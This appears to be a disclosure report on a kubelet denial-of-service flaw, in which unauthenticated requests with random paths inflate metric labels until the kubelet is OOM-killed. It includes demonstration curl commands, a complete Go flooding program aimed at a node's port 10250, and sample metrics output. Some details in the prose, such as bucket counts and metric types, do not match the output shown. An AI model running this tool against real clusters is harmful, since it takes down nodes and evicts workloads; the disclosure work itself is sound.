README.md

Kubelet resource exhaustion attack via metric label cardinality explosion from unauthenticated requests

Malicious clients can potentially DOS a kubelet by sending a high amount of specially crafted requests to the kubelet's HTTP server.

For each request the kubelet updates/sets 3 metrics:

• kubelet_http_requests_total (Counter)
• kubelet_http_requests_duration_seconds (Histogram with 7 buckets)
• kubelet_http_inflight_requests (Counter)

Each metric has the label path which will contain the path of each request. It does not matter if the request is authenticated or not - The metrics will be set/updated regardless. With each unique path, the kubelet creates 16 new time series. By sending a high amount of requests with random path values, the kubelet's memory usage will grow and eventually the kubelet will get OOM killed.

It's also possible that the kubelet evicts all workloads before being OOM killed (Which might be worse than an OOM kill)

The corresponding kubelet server code: https://github.com/kubernetes/kubernetes/blob/v1.17.0/pkg/kubelet/server/server.go#L859-L865

Affected versions:

• v1.17.0 (tested)
• v1.16.4 (tested)
• v1.15.7 (tested)

Quick example without killing the kubelet

NODE_NAME="my-poor-node"
NODE_IP="192.168.1.100"

# Perform random requests from an unauthenticated client
curl --insecure https://${NODE_IP}:10250/foo
curl --insecure https://${NODE_IP}:10250/bar
curl --insecure https://${NODE_IP}:10250/baz

# Run in a dedicated shell to be able to get the metrics
kubectl proxy

# Load metrics from node
# For each path (foo, bar, baz) 16 time series got created
curl http://127.0.0.1:8001/api/v1/nodes/${NODE_NAME}/proxy/metrics 2>&1 | grep 'kubelet_http_requests_total\|kubelet_http_requests_duration_seconds\|kubelet_http_inflight_requests'

# Perform more random requests & see the output of the metrics endpoint to grow.

Example to quickly exhaust the kubelet's memory

See the attached main.go.

main.go

package main

import (
	"crypto/tls"
	"flag"
	"fmt"
	"log"
	"net"
	"net/http"
	"time"

	"k8s.io/apimachinery/pkg/util/rand"
)

var client = &http.Client{
	Transport: &http.Transport{
		TLSClientConfig: &tls.Config{
			// Skip cert verification
			InsecureSkipVerify: true,
		},
		Proxy: http.ProxyFromEnvironment,
		DialContext: (&net.Dialer{
			Timeout:   30 * time.Second,
			KeepAlive: 30 * time.Second,
			DualStack: true,
		}).DialContext,
		ForceAttemptHTTP2:     true,
		MaxIdleConns:          100,
		IdleConnTimeout:       90 * time.Second,
		TLSHandshakeTimeout:   10 * time.Second,
		ExpectContinueTimeout: 1 * time.Second,
	},
}

func main() {
	nodeIP := flag.String("node-ip", "", "IP address of the node to attack")
	flag.Parse()

	strings := make(chan string, 10000)

	for w := 1; w <= 500; w++ {
		go worker(*nodeIP, strings)
	}

	for {
		strings <- rand.String(1024)
	}
}

func worker(nodeIP string, strings <-chan string) {
	for s := range strings {
		func() {
			url := fmt.Sprintf("https://%s:10250/%s", nodeIP, s)
			req, err := http.NewRequest(http.MethodGet, url, nil)
			if err != nil {
				log.Printf("failed to create request: %v", err)
				return
			}

			resp, err := client.Do(req)
			if err != nil {
				log.Printf("failed to execute request: %v", err)
				return
			}
			defer resp.Body.Close()
		}()
	}
}

stripped-metrics

# HELP kubelet_http_inflight_requests Number of the inflight http requests
# TYPE kubelet_http_inflight_requests gauge
kubelet_http_inflight_requests{long_running="false",method="GET",path="bar",server_type="readwrite"} 0
kubelet_http_inflight_requests{long_running="false",method="GET",path="baz",server_type="readwrite"} 0
kubelet_http_inflight_requests{long_running="false",method="GET",path="foo",server_type="readwrite"} 0
# HELP kubelet_http_requests_duration_seconds Duration in seconds to serve http requests
# TYPE kubelet_http_requests_duration_seconds histogram
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="0.005"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="0.01"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="0.025"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="0.05"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="0.1"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="0.25"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="0.5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="1"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="2.5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="10"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="bar",server_type="readwrite",le="+Inf"} 1
kubelet_http_requests_duration_seconds_sum{long_running="false",method="GET",path="bar",server_type="readwrite"} 8.714e-06
kubelet_http_requests_duration_seconds_count{long_running="false",method="GET",path="bar",server_type="readwrite"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="0.005"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="0.01"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="0.025"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="0.05"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="0.1"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="0.25"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="0.5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="1"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="2.5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="10"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="baz",server_type="readwrite",le="+Inf"} 1
kubelet_http_requests_duration_seconds_sum{long_running="false",method="GET",path="baz",server_type="readwrite"} 2.1001e-05
kubelet_http_requests_duration_seconds_count{long_running="false",method="GET",path="baz",server_type="readwrite"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="0.005"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="0.01"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="0.025"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="0.05"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="0.1"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="0.25"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="0.5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="1"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="2.5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="5"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="10"} 1
kubelet_http_requests_duration_seconds_bucket{long_running="false",method="GET",path="foo",server_type="readwrite",le="+Inf"} 1
kubelet_http_requests_duration_seconds_sum{long_running="false",method="GET",path="foo",server_type="readwrite"} 8.115e-06
kubelet_http_requests_duration_seconds_count{long_running="false",method="GET",path="foo",server_type="readwrite"} 1
# HELP kubelet_http_requests_total Number of the http requests received since the server started
# TYPE kubelet_http_requests_total counter
kubelet_http_requests_total{long_running="false",method="GET",path="bar",server_type="readwrite"} 1
kubelet_http_requests_total{long_running="false",method="GET",path="baz",server_type="readwrite"} 1
kubelet_http_requests_total{long_running="false",method="GET",path="foo",server_type="readwrite"} 1